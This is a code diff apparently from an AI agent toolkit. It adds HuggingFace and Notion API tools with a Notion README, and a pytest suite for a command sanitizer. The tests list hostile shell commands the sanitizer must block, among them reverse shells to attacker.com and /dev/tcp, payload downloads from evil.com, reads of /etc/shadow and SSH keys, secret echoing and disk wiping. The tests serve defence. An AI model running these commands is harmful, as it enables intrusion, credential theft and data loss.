return {"error": "model_id is required"}
if not inputs:
return {"error": "inputs is required"}
url = f"{INFERENCE_URL}/{model_id}"
payload: dict[str, Any] = {"inputs": inputs}
data = _post(url, token, payload)
if isinstance(data, dict) and "error" in data:
return data
# Inference API returns the embedding directly as a list of floats
# or a list of lists for batched inputs
embedding = data if isinstance(data, list) else []
dims = len(embedding) if embedding and isinstance(embedding[0], (int, float)) else 0
return {
"model_id": model_id,
"embedding": embedding,
"dimensions": dims,
}
@mcp.tool()
def huggingface_list_inference_endpoints(
namespace: str = "",
) -> dict[str, Any]:
"""
List deployed Inference Endpoints on HuggingFace.
Inference Endpoints are dedicated, production-ready deployments
of HuggingFace models with autoscaling and GPU support.
Args:
namespace: Optional namespace/organization to filter by.
Defaults to the authenticated user.
Returns:
Dict with list of endpoints (name, model, status, url, etc.)
"""
token = _get_token(credentials)
if not token:
return _auth_error()
path = f"/api/endpoints/{namespace}" if namespace else "/api/endpoints"
headers: dict[str, str] = {"Authorization": f"Bearer {token}"}
try:
resp = httpx.get(
f"https://api.endpoints.huggingface.cloud{path}",
headers=headers,
timeout=30.0,
)
if resp.status_code == 401:
return {"error": "Unauthorized. Check your HUGGINGFACE_TOKEN."}
if resp.status_code != 200:
return {
"error": (
f"Failed to list endpoints (HTTP {resp.status_code}): {resp.text[:500]}"
)
}
data = resp.json()
except httpx.TimeoutException:
return {"error": "Request to HuggingFace Endpoints API timed out"}
except Exception as e:
return {"error": f"Endpoints request failed: {e!s}"}
items = data.get("items", data) if isinstance(data, dict) else data
endpoints = []
for ep in items if isinstance(items, list) else []:
endpoints.append(
{
"name": ep.get("name", ""),
"model": (
ep.get("model", {}).get("repository", "")
if isinstance(ep.get("model"), dict)
else ep.get("model", "")
),
"status": (
ep.get("status", {}).get("state", "")
if isinstance(ep.get("status"), dict)
else ep.get("status", "")
),
"url": (
ep.get("status", {}).get("url", "")
if isinstance(ep.get("status"), dict)
else ""
),
"type": ep.get("type", ""),
"provider": (
ep.get("provider", {}).get("vendor", "")
if isinstance(ep.get("provider"), dict)
else ""
),
"region": (
ep.get("provider", {}).get("region", "")
if isinstance(ep.get("provider"), dict)
else ""
),
}
)
return {"endpoints": endpoints, "count": len(endpoints)}
@@ -0,0 +1,270 @@
# Notion Tool
Search pages, retrieve and update page content, create pages, manage databases, and manipulate blocks via the Notion API.
## Setup
```bash
# Required - Internal Integration Token
export NOTION_API_TOKEN=your-notion-integration-token
```
**Get your token:**
1. Go to https://www.notion.so/my-integrations
2. Click "New integration" and give it a name
3. Copy the "Internal Integration Secret"
4. Set `NOTION_API_TOKEN` environment variable
**Important:** You must share each page or database with your integration. Open the page in Notion, click the `...` menu, select "Connections", and add your integration.
Alternatively, configure via the credential store (`CredentialStoreAdapter`) using the key `notion_token`.
## Tools (13)
| Tool | Description |
|------|-------------|
| `notion_search` | Search Notion pages and databases by title |
| `notion_get_page` | Get a page by ID with simplified properties |
| `notion_create_page` | Create a new page in a database |
| `notion_update_page` | Update a page's properties or archive/unarchive it |
| `notion_query_database` | Query rows/pages from a database with filters, sorts, and pagination |
| `notion_get_database` | Get a database schema (property names and types) |
| `notion_create_database` | Create a new database as a child of a page |
| `notion_update_database` | Update a database's title, properties, or archive it |
| `notion_get_block_children` | Get child blocks (content) of a page or block |
| `notion_get_block` | Retrieve a single block by ID |
| `notion_update_block` | Update a block's content or archive it |
| `notion_delete_block` | Delete a block (moves to trash) |
| `notion_append_blocks` | Append content blocks (paragraphs, headings, lists, todos, quotes) to a page or block |
## Usage
### Search pages and databases
```python
# Search by title text
result = notion_search(query="Meeting Notes")
# Filter to only databases
result = notion_search(query="Tasks", filter_type="database")
# List all accessible pages (empty query)
result = notion_search(page_size=50)
```
### Get a page
```python
# Retrieve page details with simplified properties
result = notion_get_page(page_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890")
# Returns id, title, url, properties (title, rich_text, select, multi_select,
# number, checkbox, date, status)
```
### Create a page
When creating a page in a database, you must provide `title_property` (the
name of the database's title column). Use `notion_get_database` to find it
first. The `title_property` parameter is ignored when using `parent_page_id`.
```python
# Step 1: Find the database's title property name
schema = notion_get_database(database_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890")
# schema["properties"] -> {"Task name": {"type": "title"}, "Status": {"type": "status"}, ...}
# Step 2: Create a page using the correct title property
result = notion_create_page(
title="Weekly Standup Notes",
parent_database_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
title_property="Task name",
)
# Create with additional properties and body content
result = notion_create_page(
title="Bug Report: Login Timeout",
parent_database_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
title_property="Task name",
properties_json='{"Status": {"select": {"name": "Open"}}}',
content="Users are experiencing timeouts when logging in during peak hours.",
)
# Create a page as a child of another page (no title_property needed)
result = notion_create_page(
title="Meeting Notes - March 10",
parent_page_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
content="Discussion points and action items.",
)
```
### Update a page
```python
# Update properties
result = notion_update_page(
page_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
properties_json='{"Status": {"select": {"name": "Done"}}}'
)
# Archive a page
result = notion_update_page(
page_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
archived=True
)
```
### Query a database
```python
# Get all rows from a database
result = notion_query_database(
database_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890"
)
# Query with a filter
result = notion_query_database(
database_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
filter_json='{"property": "Status", "select": {"equals": "In Progress"}}',
page_size=25
)
# Sort results
result = notion_query_database(
database_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
sorts_json='[{"property": "Created", "direction": "descending"}]'
)
# Paginate through results
result = notion_query_database(
database_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
start_cursor=previous_result["next_cursor"]
)
```
### Get a database schema
```python
# Retrieve property names and types for a database
result = notion_get_database(
database_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890"
)
# Returns id, title, url, properties (each with type and id)
```
### Create a database
```python
# Create a database with default Name column
result = notion_create_database(
parent_page_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
title="Project Tasks"
)
# Create with custom columns
result = notion_create_database(
parent_page_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
title="Bug Tracker",
properties_json='{"Status": {"select": {"options": [{"name": "Open"}, {"name": "Closed"}]}}, "Priority": {"number": {}}}'
)
```
### Update or delete a database
```python
# Rename a database
result = notion_update_database(
database_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
title="Renamed Database"
)
# Add a new column
result = notion_update_database(
database_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
properties_json='{"Priority": {"number": {}}}'
)
# Archive (delete) a database
result = notion_update_database(
database_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
archived=True
)
```
### Read page content (block tree)
```python
# Get the body content (blocks) of a page
result = notion_get_block_children(
block_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890"
)
# Returns blocks with type, text content, and has_children indicator
```
### Get, update, or delete a block
```python
# Get a single block
result = notion_get_block(block_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890")
# Returns id, type, text, has_children, archived
# Update block content (must specify the block's type)
result = notion_update_block(
block_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
content="Updated paragraph text",
block_type="paragraph"
)
# Archive a block (soft-delete)
result = notion_update_block(
block_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
archived=True
)
# Delete a block (moves to trash)
result = notion_delete_block(block_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890")
```
### Append content to a page
```python
# Add paragraphs to a page (newlines create separate blocks)
result = notion_append_blocks(
block_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
content="First paragraph\nSecond paragraph"
)
# Add a heading
result = notion_append_blocks(
block_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
content="Section Title",
block_type="heading_1"
)
# Add a to-do list
result = notion_append_blocks(
block_id="a1b2c3d4-e5f6-7890-abcd-ef1234567890",
content="Buy groceries\nClean the house\nWalk the dog",
block_type="to_do"
)
# Supported block types: paragraph, heading_1, heading_2, heading_3,
# bulleted_list_item, numbered_list_item, to_do, quote, callout
# Max 100 blocks per request
```
## Error Handling
| Error | Cause |
|-------|-------|
| `Unauthorized` | Invalid or missing integration token |
| `Forbidden` | Page/database not shared with the integration |
| `Not found` | Page/database does not exist or is not shared |
| `Rate limited` | Too many requests, retry after a short wait |
| `Request timed out` | Request exceeded the 30-second timeout |
## Rate Limits
The Notion API enforces rate limits of approximately 3 requests per second per integration. When rate limited, the tool returns `{"error": "Rate limited. Try again shortly."}`. Callers should wait a few seconds before retrying.
## API Reference
- [Notion API Docs](https://developers.notion.com/reference)
@@ -11,6 +11,7 @@ API Reference: https://developers.notion.com/reference
from __future__ import annotations
import os
from enum import StrEnum
from typing import TYPE_CHECKING, Any
import httpx
@@ -23,6 +24,18 @@ API_BASE = "https://api.notion.com/v1"
NOTION_VERSION = "2022-06-28"
class BlockType(StrEnum):
PARAGRAPH = "paragraph"
HEADING_1 = "heading_1"
HEADING_2 = "heading_2"
HEADING_3 = "heading_3"
BULLETED_LIST_ITEM = "bulleted_list_item"
NUMBERED_LIST_ITEM = "numbered_list_item"
TO_DO = "to_do"
QUOTE = "quote"
CALLOUT = "callout"
def _get_credentials(credentials: CredentialStoreAdapter | None) -> str | None:
"""Return the Notion integration token."""
if credentials is not None:
@@ -201,20 +214,29 @@ def register_tools(
@mcp.tool()
def notion_create_page(
parent_database_id: str,
title: str,
parent_database_id: str = "",
parent_page_id: str = "",
title_property: str = "",
properties_json: str = "",
content: str = "",
) -> dict[str, Any]:
"""
Create a new page in a Notion database.
Create a new page in a Notion database or as a child of another page.
Provide exactly one of parent_database_id or parent_page_id.
Args:
parent_database_id: ID of the parent database (required)
title: Page title (required)
parent_database_id: ID of the parent database (optional)
parent_page_id: ID of the parent page (optional)
title_property: Name of the title column in the database
(required when using parent_database_id). Use
notion_get_database to find the correct property name.
Ignored when parent_page_id is used.
properties_json: Additional properties as JSON string
e.g. '{"Status": {"select": {"name": "Done"}}}'
(optional)
Ignored when parent_page_id is used. (optional)
content: Plain text content for the page body (optional)
Returns:
@@ -225,22 +247,37 @@ def register_tools(
token = _get_credentials(credentials)
if not token:
return _auth_error()
if not parent_database_id or not title:
return {"error": "parent_database_id and title are required"}
if not title:
return {"error": "title is required"}
if not parent_database_id and not parent_page_id:
return {"error": "Provide parent_database_id or parent_page_id"}
if parent_database_id and parent_page_id:
return {"error": "Provide only one of parent_database_id or parent_page_id, not both"}
body: dict[str, Any] = {
"parent": {"database_id": parent_database_id},
"properties": {
"Name": {"title": [{"text": {"content": title}}]},
},
}
body: dict[str, Any] = {}
if properties_json:
try:
extra = json_mod.loads(properties_json)
body["properties"].update(extra)
except json_mod.JSONDecodeError:
return {"error": "properties_json is not valid JSON"}
match (bool(parent_database_id), bool(parent_page_id)):
case (True, False):
if not title_property:
return {
"error": "title_property is required when using parent_database_id. "
"Use notion_get_database to find the title column name.",
}
body["parent"] = {"database_id": parent_database_id}
body["properties"] = {
title_property: {"title": [{"text": {"content": title}}]},
}
if properties_json:
try:
extra = json_mod.loads(properties_json)
body["properties"].update(extra)
except json_mod.JSONDecodeError:
return {"error": "properties_json is not valid JSON"}
case (False, True):
body["parent"] = {"page_id": parent_page_id}
body["properties"] = {
"title": {"title": [{"text": {"content": title}}]},
}
if content:
body["children"] = [
@@ -265,6 +302,8 @@ def register_tools(
def notion_query_database(
database_id: str,
filter_json: str = "",
sorts_json: str = "",
start_cursor: str = "",
page_size: int = 50,
) -> dict[str, Any]:
"""
@@ -273,10 +312,16 @@ def register_tools(
Args:
database_id: Notion database ID (required)
filter_json: Notion filter object as JSON string (optional)
e.g. '{"property": "Status", "select": {"equals": "Done"}}'
sorts_json: Sort order as JSON array string (optional)
e.g. '[{"property": "Created", "direction": "descending"}]'
or '[{"timestamp": "last_edited_time", "direction": "ascending"}]'
start_cursor: Pagination cursor from a previous response's
next_cursor field (optional)
page_size: Max results (1-100, default 50)
Returns:
Dict with matching pages and their properties
Dict with matching pages, count, has_more, and next_cursor
"""
import json as json_mod
@@ -296,6 +341,15 @@ def register_tools(
except json_mod.JSONDecodeError:
return {"error": "filter_json is not valid JSON"}
if sorts_json:
try:
body["sorts"] = json_mod.loads(sorts_json)
except json_mod.JSONDecodeError:
return {"error": "sorts_json is not valid JSON"}
if start_cursor:
body["start_cursor"] = start_cursor
data = _request("post", f"/databases/{database_id}/query", token, json=body)
if "error" in data:
return data
@@ -312,7 +366,12 @@ def register_tools(
"last_edited_time": item.get("last_edited_time", ""),
}
)
return {"pages": pages, "count": len(pages), "has_more": data.get("has_more", False)}
return {
"pages": pages,
"count": len(pages),
"has_more": data.get("has_more", False),
"next_cursor": data.get("next_cursor"),
}
@mcp.tool()
def notion_get_database(database_id: str) -> dict[str, Any]:
@@ -352,36 +411,109 @@ def register_tools(
}
@mcp.tool()
def notion_update_page(
page_id: str,
properties_json: str,
def notion_create_database(
parent_page_id: str,
title: str,
properties_json: str = "",
) -> dict[str, Any]:
"""
Update properties on an existing Notion page.
Create a new database as a child of an existing page.
Args:
page_id: Notion page ID (required)
properties_json: Properties to update as JSON string.
e.g. '{"Status": {"select": {"name": "Done"}}}'
or '{"Priority": {"number": 1}}'
parent_page_id: ID of the parent page (required)
title: Database title (required)
properties_json: Property definitions as JSON string (optional).
If omitted, creates a database with a single "Name" title
column. Example with extra columns:
'{"Status": {"select": {"options": [{"name": "To Do"},
{"name": "Done"}]}}, "Priority": {"number": {}}}'
Returns:
Dict with updated page (id, url) or error
Dict with created database (id, url)
"""
import json as json_mod
token = _get_credentials(credentials)
if not token:
return _auth_error()
if not page_id or not properties_json:
return {"error": "page_id and properties_json are required"}
if not parent_page_id or not title:
return {"error": "parent_page_id and title are required"}
try:
props = json_mod.loads(properties_json)
except json_mod.JSONDecodeError:
return {"error": "properties_json is not valid JSON"}
properties: dict[str, Any] = {
"Name": {"title": {}},
}
data = _request("patch", f"/pages/{page_id}", token, json={"properties": props})
if properties_json:
try:
extra = json_mod.loads(properties_json)
properties.update(extra)
except json_mod.JSONDecodeError:
return {"error": "properties_json is not valid JSON"}
body: dict[str, Any] = {
"parent": {"type": "page_id", "page_id": parent_page_id},
"title": [{"type": "text", "text": {"content": title}}],
"properties": properties,
}
data = _request("post", "/databases", token, json=body)
if "error" in data:
return data
return {
"id": data.get("id", ""),
"url": data.get("url", ""),
"status": "created",
}
@mcp.tool()
def notion_update_database(
database_id: str,
title: str = "",
properties_json: str = "",
archived: bool | None = None,
) -> dict[str, Any]:
"""
Update a database's title, properties, or archive it.
Args:
database_id: Notion database ID (required)
title: New database title (optional)
properties_json: Property schema changes as JSON string (optional).
Add new columns, rename, or change types.
e.g. '{"Priority": {"number": {}}}'
archived: Set to true to archive (delete), false to restore
(optional)
Returns:
Dict with updated database (id, url, status)
"""
import json as json_mod
token = _get_credentials(credentials)
if not token:
return _auth_error()
if not database_id:
return {"error": "database_id is required"}
body: dict[str, Any] = {}
if title:
body["title"] = [{"type": "text", "text": {"content": title}}]
if properties_json:
try:
body["properties"] = json_mod.loads(properties_json)
except json_mod.JSONDecodeError:
return {"error": "properties_json is not valid JSON"}
if archived is not None:
body["archived"] = archived
if not body:
return {"error": "No updates provided. Set title, properties_json, or archived."}
data = _request("patch", f"/databases/{database_id}", token, json=body)
if "error" in data:
return data
@@ -392,49 +524,247 @@ def register_tools(
}
@mcp.tool()
def notion_archive_page(
def notion_update_page(
page_id: str,
archived: bool = True,
properties_json: str = "",
archived: bool | None = None,
) -> dict[str, Any]:
"""
Archive or unarchive a Notion page.
Update a Notion page's properties.
Args:
page_id: Notion page ID (required)
archived: True to archive, False to restore (default True)
properties_json: Properties to update as JSON string
e.g. '{"Status": {"select": {"name": "Done"}}}'
(optional)
archived: Set to true to archive, false to unarchive (optional)
Returns:
Dict with page status or error
Dict with updated page (id, url, status)
"""
import json as json_mod
token = _get_credentials(credentials)
if not token:
return _auth_error()
if not page_id:
return {"error": "page_id is required"}
data = _request("patch", f"/pages/{page_id}", token, json={"archived": archived})
body: dict[str, Any] = {}
if properties_json:
try:
body["properties"] = json_mod.loads(properties_json)
except json_mod.JSONDecodeError:
return {"error": "properties_json is not valid JSON"}
if archived is not None:
body["archived"] = archived
if not body:
return {"error": "No updates provided. Set properties_json or archived."}
data = _request("patch", f"/pages/{page_id}", token, json=body)
if "error" in data:
return data
return {
"id": data.get("id", ""),
"archived": data.get("archived", archived),
"status": "archived" if archived else "restored",
"url": data.get("url", ""),
"status": "updated",
}
@mcp.tool()
def notion_get_block_children(
block_id: str,
page_size: int = 50,
) -> dict[str, Any]:
"""
Get child blocks (content) of a page or block.
Args:
block_id: Page ID or block ID (required)
page_size: Max results (1-100, default 50)
Returns:
Dict with block content (type, text, children indicator)
"""
token = _get_credentials(credentials)
if not token:
return _auth_error()
if not block_id:
return {"error": "block_id is required"}
params = {"page_size": max(1, min(page_size, 100))}
data = _request("get", f"/blocks/{block_id}/children", token, params=params)
if "error" in data:
return data
blocks = []
for item in data.get("results", []):
block_type = item.get("type", "")
block_data: dict[str, Any] = {
"id": item.get("id", ""),
"type": block_type,
"has_children": item.get("has_children", False),
}
# Extract text content from common block types
type_data = item.get(block_type, {})
rich_text = type_data.get("rich_text", [])
if rich_text:
block_data["text"] = "".join(
p.get("text", {}).get("content", "") for p in rich_text
)
blocks.append(block_data)
return {
"blocks": blocks,
"count": len(blocks),
"has_more": data.get("has_more", False),
}
@mcp.tool()
def notion_get_block(block_id: str) -> dict[str, Any]:
"""
Retrieve a single block by ID.
Args:
block_id: Notion block ID (required)
Returns:
Dict with block details (id, type, text, has_children)
"""
token = _get_credentials(credentials)
if not token:
return _auth_error()
if not block_id:
return {"error": "block_id is required"}
data = _request("get", f"/blocks/{block_id}", token)
if "error" in data:
return data
block_type = data.get("type", "")
result: dict[str, Any] = {
"id": data.get("id", ""),
"type": block_type,
"has_children": data.get("has_children", False),
"archived": data.get("archived", False),
"created_time": data.get("created_time", ""),
"last_edited_time": data.get("last_edited_time", ""),
}
type_data = data.get(block_type, {})
rich_text = type_data.get("rich_text", [])
if rich_text:
result["text"] = "".join(p.get("text", {}).get("content", "") for p in rich_text)
return result
@mcp.tool()
def notion_update_block(
block_id: str,
content: str = "",
block_type: str = "",
archived: bool | None = None,
) -> dict[str, Any]:
"""
Update a block's content or archive it.
Args:
block_id: Notion block ID (required)
content: New text content for the block (optional).
Only works for text-based blocks (paragraph, heading, etc.)
block_type: The block's current type (required when setting content).
Use notion_get_block to find the type first.
archived: Set to true to archive (soft-delete), false to restore
(optional)
Returns:
Dict with updated block info (id, type, status)
"""
token = _get_credentials(credentials)
if not token:
return _auth_error()
if not block_id:
return {"error": "block_id is required"}
body: dict[str, Any] = {}
if content:
if not block_type:
return {
"error": "block_type is required when setting content. "
"Use notion_get_block to find the type.",
}
try:
validated = BlockType(block_type)
except ValueError:
return {
"error": f"Invalid block_type: {block_type!r}",
"help": f"Must be one of: {', '.join(sorted(BlockType))}",
}
body[validated] = {
"rich_text": [{"type": "text", "text": {"content": content}}],
}
if archived is not None:
body["archived"] = archived
if not body:
return {"error": "No updates provided. Set content or archived."}
data = _request("patch", f"/blocks/{block_id}", token, json=body)
if "error" in data:
return data
return {
"id": data.get("id", ""),
"type": data.get("type", ""),
"status": "updated",
}
@mcp.tool()
def notion_delete_block(block_id: str) -> dict[str, Any]:
"""
Delete a block (moves to trash).
Args:
block_id: Notion block ID to delete (required)
Returns:
Dict with deleted block info (id, status)
"""
token = _get_credentials(credentials)
if not token:
return _auth_error()
if not block_id:
return {"error": "block_id is required"}
data = _request("delete", f"/blocks/{block_id}", token)
if "error" in data:
return data
return {
"id": data.get("id", ""),
"status": "deleted",
}
@mcp.tool()
def notion_append_blocks(
page_id: str,
block_id: str,
content: str,
block_type: str = "paragraph",
) -> dict[str, Any]:
"""
Append content blocks to an existing Notion page.
Append content blocks to a page or block.
Args:
page_id: Notion page ID to append to (required)
block_id: Page ID or parent block ID to append to (required)
content: Text content to append (required). For multiple blocks,
separate with newlines.
separate with newlines. Max 100 blocks per request.
block_type: Block type to create: "paragraph", "heading_1",
"heading_2", "heading_3", "bulleted_list_item",
"numbered_list_item", "to_do", "quote", "callout"
@@ -446,43 +776,40 @@ def register_tools(
token = _get_credentials(credentials)
if not token:
return _auth_error()
if not page_id or not content:
return {"error": "page_id and content are required"}
if not block_id or not content:
return {"error": "block_id and content are required"}
valid_types = {
"paragraph",
"heading_1",
"heading_2",
"heading_3",
"bulleted_list_item",
"numbered_list_item",
"to_do",
"quote",
"callout",
}
if block_type not in valid_types:
try:
validated = BlockType(block_type)
except ValueError:
return {
"error": f"Invalid block_type: {block_type!r}",
"help": f"Must be one of: {', '.join(sorted(valid_types))}",
"help": f"Must be one of: {', '.join(sorted(BlockType))}",
}
lines = [line for line in content.split("\n") if line.strip()]
if not lines:
return {"error": "content is empty after stripping blank lines"}
if len(lines) > 100:
return {"error": "Too many blocks. Notion API allows max 100 per request."}
children = []
for line in lines:
block: dict[str, Any] = {
"object": "block",
"type": block_type,
block_type: {
"type": validated,
validated: {
"rich_text": [{"type": "text", "text": {"content": line}}],
},
}
if block_type == "to_do":
block[block_type]["checked"] = False
match validated:
case BlockType.TO_DO:
block[validated]["checked"] = False
children.append(block)
data = _request(
"patch",
f"/blocks/{page_id}/children",
f"/blocks/{block_id}/children",
token,
json={"children": children},
)
@@ -490,7 +817,7 @@ def register_tools(
return data
return {
"page_id": page_id,
"block_id": block_id,
"blocks_added": len(children),
"status": "appended",
}
+253
View File
@@ -0,0 +1,253 @@
"""Tests for command_sanitizer — validates that dangerous commands are blocked
while normal development commands pass through unmodified."""
import pytest
from aden_tools.tools.file_system_toolkits.command_sanitizer import (
CommandBlockedError,
validate_command,
)
# ---------------------------------------------------------------------------
# Safe commands that MUST pass validation
# ---------------------------------------------------------------------------
class TestSafeCommands:
"""Common dev commands that should never be blocked."""
@pytest.mark.parametrize(
"cmd",
[
"echo hello",
"echo 'Hello World'",
"uv run pytest tests/ -v",
"uv pip install requests",
"git status",
"git diff --cached",
"git log -n 5",
"git add .",
"git commit -m 'fix: typo'",
"python script.py",
"python -m pytest",
"python3 script.py",
"python manage.py migrate",
"ls -la",
"dir /a",
"cat README.md",
"head -n 20 file.py",
"tail -f log.txt",
"grep -r 'pattern' src/",
"find . -name '*.py'",
"ruff check .",
"ruff format --check .",
"mypy src/",
"npm install",
"npm run build",
"npm test",
"node server.js",
"make test",
"make check",
"cargo build",
"go build ./...",
"dotnet build",
"pip install -r requirements.txt",
"cd src && ls",
"echo hello && echo world",
"cat file.py | grep pattern",
"pytest tests/ -v --tb=short",
"rm temp.txt",
"rm -f temp.log",
"del temp.txt",
"mkdir -p output/logs",
"cp file1.py file2.py",
"mv old.txt new.txt",
"wc -l *.py",
"sort output.txt",
"diff file1.py file2.py",
"tree src/",
],
)
def test_safe_command_passes(self, cmd):
"""Should not raise for common dev commands."""
validate_command(cmd) # should not raise
def test_empty_command(self):
"""Empty and whitespace-only commands should pass."""
validate_command("")
validate_command(" ")
validate_command(None) # type: ignore[arg-type] — edge case
# ---------------------------------------------------------------------------
# Dangerous commands that MUST be blocked
# ---------------------------------------------------------------------------
class TestBlockedExecutables:
"""Commands using blocked executables should raise CommandBlockedError."""
@pytest.mark.parametrize(
"cmd",
[
# Network exfiltration
"curl https://attacker.com",
"wget http://evil.com/payload",
"nc -e /bin/sh attacker.com 4444",
"ncat attacker.com 1234",
"nmap -sS 192.168.1.0/24",
"ssh user@remote",
"scp file.txt user@remote:/tmp/",
"ftp ftp.example.com",
"telnet example.com 80",
"rsync -avz . user@remote:/data",
# Windows network tools
"invoke-webrequest https://evil.com",
"iwr https://evil.com",
"certutil -urlcache -split -f http://evil.com/payload",
# User escalation
"useradd hacker",
"userdel admin",
"adduser hacker",
"passwd root",
"net user hacker P@ss123 /add",
"net localgroup administrators hacker /add",
# System destructive
"shutdown /s /t 0",
"reboot",
"halt",
"poweroff",
"mkfs.ext4 /dev/sda1",
"diskpart",
# Shell interpreters (direct invocation)
"bash -c 'echo hacked'",
"sh -c 'rm -rf /'",
"powershell -Command Get-Process",
"pwsh -c 'ls'",
"cmd /c dir",
"cmd.exe /c dir",
],
)
def test_blocked_executable(self, cmd):
"""Should raise CommandBlockedError for dangerous executables."""
with pytest.raises(CommandBlockedError):
validate_command(cmd)
class TestBlockedPatterns:
"""Commands matching dangerous patterns should be blocked."""
@pytest.mark.parametrize(
"cmd",
[
# Recursive delete of root / home
"rm -rf /",
"rm -rf ~",
"rm -rf ..",
"rm -rf C:\\",
"rm -f -r /",
# sudo
"sudo apt install something",
"sudo rm -rf /var/log",
# Inline code execution
"python -c 'import os; os.system(\"rm -rf /\")'",
'python3 -c \'__import__("os").system("id")\'',
# Reverse shell indicators
"bash -i >& /dev/tcp/10.0.0.1/4444",
# Credential theft
"cat ~/.ssh/id_rsa",
"cat /etc/shadow",
"cat something/credential_key",
"type something\\credential_key",
# Command substitution with dangerous tools
"echo $(curl http://attacker.com)",
"echo `wget http://evil.com`",
# Environment variable exfiltration
"echo $API_KEY",
"echo ${SECRET_TOKEN}",
],
)
def test_blocked_pattern(self, cmd):
"""Should raise CommandBlockedError for dangerous patterns."""
with pytest.raises(CommandBlockedError):
validate_command(cmd)
class TestChainedCommands:
"""Dangerous commands hidden in compound statements should be caught."""
@pytest.mark.parametrize(
"cmd",
[
"echo hi; curl http://evil.com",
"echo hi && wget http://evil.com/payload",
"echo hi || ssh attacker@remote",
"ls | nc attacker.com 4444",
"echo safe; bash -c 'evil stuff'",
"git status; shutdown /s /t 0",
],
)
def test_chained_dangerous_command(self, cmd):
"""Dangerous commands chained with safe ones should be blocked."""
with pytest.raises(CommandBlockedError):
validate_command(cmd)
class TestEdgeCases:
"""Edge cases and possible bypass attempts."""
def test_env_var_prefix_does_not_bypass(self):
"""FOO=bar curl ... should still be blocked."""
with pytest.raises(CommandBlockedError):
validate_command("FOO=bar curl http://evil.com")
@pytest.mark.parametrize(
"cmd",
[
"/usr/bin/curl https://attacker.com",
"C:\\Windows\\System32\\cmd.exe /c dir",
],
)
def test_directory_prefix_does_not_bypass(self, cmd):
"""Absolute executable paths should still match the blocklist."""
with pytest.raises(CommandBlockedError):
validate_command(cmd)
def test_case_insensitive_blocking(self):
"""Blocking should be case-insensitive."""
with pytest.raises(CommandBlockedError):
validate_command("CURL http://evil.com")
with pytest.raises(CommandBlockedError):
validate_command("Wget http://evil.com")
def test_exe_suffix_stripped(self):
"""cmd.exe should be blocked same as cmd."""
with pytest.raises(CommandBlockedError):
validate_command("cmd.exe /c dir")
def test_safe_rm_without_dangerous_target(self):
"""rm of a specific file (not root/home) should pass."""
validate_command("rm temp.txt")
validate_command("rm -f output.log")
def test_python_without_c_flag_is_safe(self):
"""python script.py is safe; only python -c is blocked."""
validate_command("python script.py")
validate_command("python -m pytest tests/")
@pytest.mark.parametrize(
"cmd",
[
"python -c'print(1)'",
'python3 -c"print(1)"',
],
)
def test_python_c_with_quoted_inline_code_is_blocked(self, cmd):
"""Quoted inline code after -c should still be blocked."""
with pytest.raises(CommandBlockedError):
validate_command(cmd)
def test_error_message_is_descriptive(self):
"""Blocked commands should include a useful error message."""
with pytest.raises(CommandBlockedError, match="blocked for safety"):
validate_command("curl http://evil.com")

Some files were not shown because too many files have changed in this diff Show More